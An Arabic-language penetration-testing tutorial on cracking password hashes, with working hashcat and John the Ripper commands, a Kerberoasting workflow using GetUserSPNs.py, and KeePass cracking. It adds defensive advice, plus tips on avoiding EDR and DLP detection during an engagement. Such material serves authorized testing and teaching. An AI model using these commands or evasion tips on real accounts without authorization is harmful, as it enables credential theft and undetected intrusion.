Password Cracking — إزاي بتقع فعلاً
Hashcat و John و wordlists و rules — والـ GPU بيعمل إيه
ليه بنكسر hashes أصلاً؟
في أي engagement، هتلاقي نفسك جايب hashes من LSASS أو NTDS.dit أو /etc/shadow أو dump قاعدة بيانات. تكسرهم يبقوا credentials للـ lateral movement.
أنواع الـ hashes الشائعة
NTLM — Windows local/domain accounts (16 bytes MD4)
NetNTLMv2 — Network challenge-response (Responder loot)
Kerberos 5 TGS — kerberoasting target (mode 13100)
DCC2 (MSCash2) — cached domain creds on workstations
bcrypt — modern web apps ($2a$, $2b$)
SHA-512crypt — Linux /etc/shadow ($6$)
MD5 / SHA1 — لا تزال موجودة في تطبيقات قديمة
PBKDF2-SHA256 — modern, slow (iOS keychain, 1Password)Hashcat — أداة الميدان
# rockyou.txt = القاموس المفضّل (14M password)
hashcat -m 1000 -a 0 ntlm-hashes.txt /usr/share/wordlists/rockyou.txt
# -m 1000 = NTLM
# -a 0 = straight wordlisthashcat -m 1000 -a 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# best64.rule = 64 تحويلة شائعة، بتزوّد فعالية القاموس 5x-10x# ?u=upper ?l=lower ?d=digit ?s=symbol
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?l?d
# Spring2024! style:
hashcat -m 1000 -a 3 hashes.txt -1 'Spring|Summer|Fall|Winter' ?1?d?d?d?d?shashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d?d?dKerberoasting workflow
النقطة الذهبية: حسابات الخدمة في AD غالباً باسوردها ضعيف وقابل للـ hashing. وأي domain user يقدر يطلب لها TGS.
# جلب الـ tickets
GetUserSPNs.py -request corp.local/normaluser:Pass123 -dc-ip 10.0.0.10 -outputfile tgs.hashes
# كسرها (mode 13100)
hashcat -m 13100 -a 0 tgs.hashes rockyou.txt -r best64.rule
# Service accounts often have "Service@2023" / "ServiceName123" passwordsJtR — للحالات التي يفشل فيها hashcat
John the Ripper تحفة في الأنواع الغريبة (KeePass، 1Password، PDF، ZIP). hashcat للـ GPU، John للـ CPU والمرونة.
# تخمين تلقائي للـ hash type
john --wordlist=rockyou.txt hashes.txt
# على keepass
keepass2john Database.kdbx > kp.hash
john --wordlist=rockyou.txt kp.hash- الطول > التعقيد: 16 حرف random أصعب من Pa$$w0rd1!
- افرض passphrase 4 كلمات (XKCD diceware).
- اقفل الكلمات الشائعة: HaveIBeenPwned API على الـ signup.
- استخدم bcrypt أو argon2id، مش MD5/SHA — slow by design.
- MFA في كل مكان — الـ hash اتكسر، بس مش هيعدّي.
- راقب Kerberoasting: 4769 TGS requests غير عادية.
- استخدم gMSA (Group Managed Service Accounts) — باسوردات 240 حرف بتدور لوحدها.
مقاييس
-- RTX 4090 على NTLM --
Pure brute ?u?l?l?l?l?l?d?d ≈ 6 ساعات
8-char rockyou + best64 ≈ دقيقتان
Kerberoast (13100) rockyou ≈ 8 ساعات per ticket
-- DCC2 (slow) --
~4 MH/s فقط — تجنبه إلا للحسابات عالية القيمةمصادر
- Hashcat wiki — hashcat.net/wiki
- SecLists — wordlists collection
- Hash-Identifier / hashid — تحديد نوع الـ hash
- CrackStation — lookup tables للـ hashes الضعيفة
غلطات الـ junior — اللي بتكشف العملية
- بيـ run الـ hashcat على الـ laptop المؤسسي. الـ EDR شايف "process بيستهلك GPU 100%" = alert فوري.
- بينقل الـ NTDS.dit بحجم 5 GB على network share. الـ DLP بيمسكه قبل ما يخلص.
- بيكسر الـ hashes كلها قبل ما يفلترها. 50 ألف user، الـ Domain Admin من ضمنهم بس هو اللي يهم.
- بيستخدم rockyou.txt على hashes جايّة من بيئة غير-إنجليزية. الـ user بيستخدم باسوردات عربي/تركي/فرنسي. ما هتلاقي حاجة.
الخلاصة: الـ cracking مش "اضغط زرار". هو فلترة + فهم للسياق + GPU. والأهم: لازم يكون على جهاز معزول، مش على endpoint مراقَب.
الخلاصة الناشفة
الـ password ما اتكسرش — أنت اللي اخترته ضعيف.
اوعى تقول "إحنا عندنا policy تعقيد". الـ policy على ورق وبس.
الـ org اللي بتفرض 16-char passphrase + bcrypt/argon2 + MFA = الـ hashes بتاعتها بلا قيمة.
الـ org اللي عندها "Spring2024!" كباسورد لـ service account = اخترقت بالفعل، بس لسه ما عرفتش.
أنت ونصيبك في الآخر — يا الـ Kerberoast بيتمسك في 4 ثواني، يا قاعد جواك سنين.